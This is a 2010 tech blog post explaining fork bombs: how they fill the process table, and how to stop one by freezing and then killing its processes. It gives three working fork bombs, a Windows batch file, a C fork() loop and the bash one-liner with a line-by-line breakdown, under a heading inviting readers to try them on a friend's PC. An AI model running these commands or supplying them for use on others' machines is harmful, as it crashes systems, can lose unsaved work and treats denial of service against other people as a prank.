30 November, 2010

fork bomb explained...

 


Don't try this @ your home ....Injurious to your computer's health, else  you will be...



Defining the fork bomb . . .

                   A fork bomb is simply a line of some characters entered into the command line of a Unix system, and when the enter key is pressed, within seconds the computer will crash... The little program we entered in to the bash shell act as a process & make multiple copies of itself, setting off a chain reaction and thus quickly exhausting the system’s resources. Most computer operating systems can be  simply crashed or at least brought to a coma stagewhen users, even those without superuser privileges, launches this 'logical bomb' that eat up all memory and CPU time. "Forkbomb" does nothing but launch two or more copies of itself upon startup. Since these copies do the same in turn, this sets off a chain reaction with an exponentially growing number of processes. A fork bomb process "explodes" by recursively  spawning copies of itself using the Unix system call fork().




Working of the 'bomb'...
  
              A process begins  execution when it's execution environment and corresponding threads are created. Before  execution the process has to take a room in the process table, which is a data structure for holding  information required by the kernel to run the process such as...

      > Process state
      > Several process IDs
      > User IDs for determining process privileges
      > Pointer to text structure for shared text areas
      > Pointer to page table for memory management
      > Scheduling parameters,  priority values
      > Timers for resource usage etc...


                A fork bomb creates a large number of processes very quickly and begins execution one after the other by seizing the process table. So whenever a free slot occurs in the process table, another copy of the bomb process enters it and start spawning new bombs. When process table becomes saturated, no new programs may start until another process terminates. Even if that happens, it is not likely that a useful program may be started since the instances of the bomb program will each attempt to take any newly-available slot themselves.


                In addition to using space in the process table, each child process of a fork bomb uses further processor-time and memory. As a result of this, the system and existing programs slow down and become much more unresponsive and difficult or even impossible to use.

see the defenition for fork bomb in wikipedia,
                In computing, the fork bomb is a form of denial-of-service attack against a computer system which makes use of the fork operation (or equivalent functionality) whereby a running process can create another running process. Fork bombs count as wabbits: they typically do not spread as worms or viruses. To incapacitate a system, they rely on the (generally valid) assumption that the number of programs and processes which may execute simultaneously on a computer has a limit.




Some bombs that you can try @ your friend's pc


Fork Bomb in windows

 Open up notepad and type the string below and and save
 it as fork.bat :


   %0|%0


 On double clicking this file,it will lead to total CPU jam 
 by opening a large no. of processes of command prompt.




In UNIX C or C++:


 Compile and execute the following C/C++ code snippet
 in Unix to understand (???) the bomb...

#include <unistd.h>
int main(void)
{
    for(;;)      //for(;;) or while(1) makes an infinite loop
    fork();
    return 0;
}


Bash Shell Fork Bomb


Following is the most coolest one i had ever seen. Take the bash terminal and just type in the following code....

   : (){ : |:& };:

This code is the elegant and most beautiful example of a fork bomb.


:()       _  define ':' , like a function call
{         _  beginning of what to do when we say ':'
    :      _  load another copy of the ':' function into
               memory...
    |      _  ...and pipe its output to...
    :      _  ...another copy of ':' function, which has to be
               loaded into memory (therefore, ':|:' simply gets 
               two copies of ':' loaded whenever ':' is called)
    &     _  disown the functions, that is if the first ':' is
               killed, all of the functions that it has started
               should NOT be auto-killed...
}         _  end of the definition of ':'
;          _  Having defined ':', like in structures etc... we
               should now...
:          _  ...call ':', initiating a chain-reaction: each ':' will
               start two more.


Simply the above function is the same as the code below

forkbomb(){ forkbomb|forkbomb & } ; forkbomb



How to get out of the bomb . . .
             One may have to reboot the system to resume its normal operation destroying all running copies of it. Trying to use a program to kill the rogue processes normally requires creating another process — this is  an impossible task if the host machine has no empty slots in its process table, or no space in its memory structures. Furthermore, as the processes of the bomb are terminated (for example, by using the kill command), process slots become free and the remaining fork bomb threads can continue reproducing again, either because there are multiple CPU cores active in the system, and/or because the scheduler moved control away from kill(8) due to the time slice being used up.


A simple solution is that we can stop (“freez”) the bomb's processes, so that a subsequent kill/killall can terminate them without any of the parts re-replicating due to newly available process slots:


killall -STOP bombprocess
killall -KILL  bombprocess



...Bye till the fire and smoke settles...

0 comments:

Post a Comment

speak out... itz your time !!!

Related Posts with Thumbnails
 

Follow crack bytez with facebook

Terminal Diary | techblog Copyright © 2009 Gadget Blog is Designed by jintu jacob Powered by Blogger